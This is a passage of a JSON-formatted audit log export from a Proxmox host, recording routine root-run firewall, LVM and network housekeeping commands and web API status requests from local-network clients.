key=\"exec\""} {"@timestamp":1781964345153,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.153:60627): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965965642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.642:67861): arch=c000003e syscall=59 success=yes exit=0 a0=580b3639aac8 a1=7ffcf0e734e0 a2=580b36aeb680 a3=580b3637e24e items=2 ppid=65166 pid=65168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965140013,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 924"} {"@timestamp":1781964253478,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964253.478:60225): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955564,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.564:67829): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965705249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.249:66742): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64103 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345146,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.146:60626): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965965641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.641:67860): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcf0e734a0 a1=580b36b0d1c0 a2=580b36aeb680 a3=5 items=2 ppid=65166 pid=65167 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965138989,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964248472,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964248.472:60223): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955552,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.552:67828): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965705241,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.241:66741): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64102 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345140,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.140:60625): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965965637,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.637:67858): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65166 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965138989,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964248472,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964248.472:60222): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955544,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.544:67827): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965705233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.233:66740): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64101 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345138,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.138:60624): argc=1 a0=\"date\""} {"@timestamp":1781965965628,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.628:67857): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65165 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965138989,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964248462,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964248.462:60220): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955535,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.535:67826): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965705227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.227:66739): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b04800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64100 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345132,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.132:60622): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965965620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.620:67856): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65164 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965137780,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:57 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964248462,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964248.462:60219): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955529,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.529:67824): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965705216,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.216:66738): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138830 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64099 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345122,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.122:60621): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965965615,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.615:67855): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b61400 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65163 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965137780,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:57 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964245092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.092:60197): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc0a79b830 a1=5ca4eb823310 a2=5ca4eb81c680 a3=5 items=1 ppid=57801 pid=57802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955523,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.523:67823): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965705205,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.205:66737): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bba0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345110,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.110:60620): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965965605,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.605:67854): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65162 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965137780,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:56 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964243453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964243.453:60187): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57791 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955516,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.516:67822): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965704983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965704.983:66736): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7413660 a1=64f8d73e0690 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345100,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.100:60619): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965965597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.597:67853): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb740eab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65161 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965137780,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964243453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964243.453:60186): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57791 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955509,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.509:67821): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965704961,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965704.961:66735): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b0610 a1=64f8d73be670 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345087,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.087:60618): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965964932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965964.932:67852): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965136678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964243443,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964243.443:60184): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57790 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955502,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.502:67820): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965704018,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965704.018:66734): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64093 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345074,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.074:60617): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965964922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965964.922:67849): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965135671,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964243443,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964243.443:60183): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57790 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955496,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.496:67819): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965704012,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965704.012:66731): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64092 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964344948,"@rawstring":"node=pve type=EXECVE msg=audit(1781964344.948:60616): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965964805,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965964.805:67846): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb650 a1=64f8d5fe5c30 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65156 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965135671,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964238433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964238.433:60181): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955489,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.489:67818): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965699003,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965699.003:66728): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64091 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964344904,"@rawstring":"node=pve type=EXECVE msg=audit(1781964344.904:60615): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965964771,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965964.771:67845): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcd30 a1=64f8d73b4b60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65155 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965135671,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781964238433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964238.433:60180): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955481,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.481:67817): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965698996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965698.996:66725): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964343871,"@rawstring":"node=pve type=EXECVE msg=audit(1781964343.871:60614): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965960987,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965960.987:67844): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253220 a1=637ee7242dc0 a2=637ee7240ef0 a3=8 items=2 ppid=65150 pid=65152 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965134560,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 499"} {"@timestamp":1781964238421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964238.421:60178): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955477,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.477:67816): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965695192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.192:66722): arch=c000003e syscall=59 success=yes exit=0 a0=5f3a966810e0 a1=5f3a9667de60 a2=5f3a9665f680 a3=5 items=2 ppid=64083 pid=64089 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964343858,"@rawstring":"node=pve type=EXECVE msg=audit(1781964343.858:60611): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965960987,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965960.987:67843): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252f60 a1=637ee7252fd0 a2=637ee7240ef0 a3=8 items=2 ppid=65150 pid=65151 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965134560,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781964238421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964238.421:60177): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955474,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.474:67815): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965695188,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.188:66721): arch=c000003e syscall=59 success=yes exit=0 a0=5f3a7b3cdac8 a1=7ffe062b4fa0 a2=5f3a9665f680 a3=5f3a7b3b124e items=2 ppid=64083 pid=64085 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964339647,"@rawstring":"node=pve type=EXECVE msg=audit(1781964339.647:60608): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965960985,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965960.985:67842): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c90 a1=637ee72536a0 a2=637ee7257220 a3=8 items=2 ppid=846 pid=65149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965134560,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:53 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964236041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.041:60173): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc750000b0 a1=5f64ca082310 a2=5f64ca07b680 a3=5 items=1 ppid=57779 pid=57780 auid=4294967295 uid=0 gid=0 euid=0 suid=0 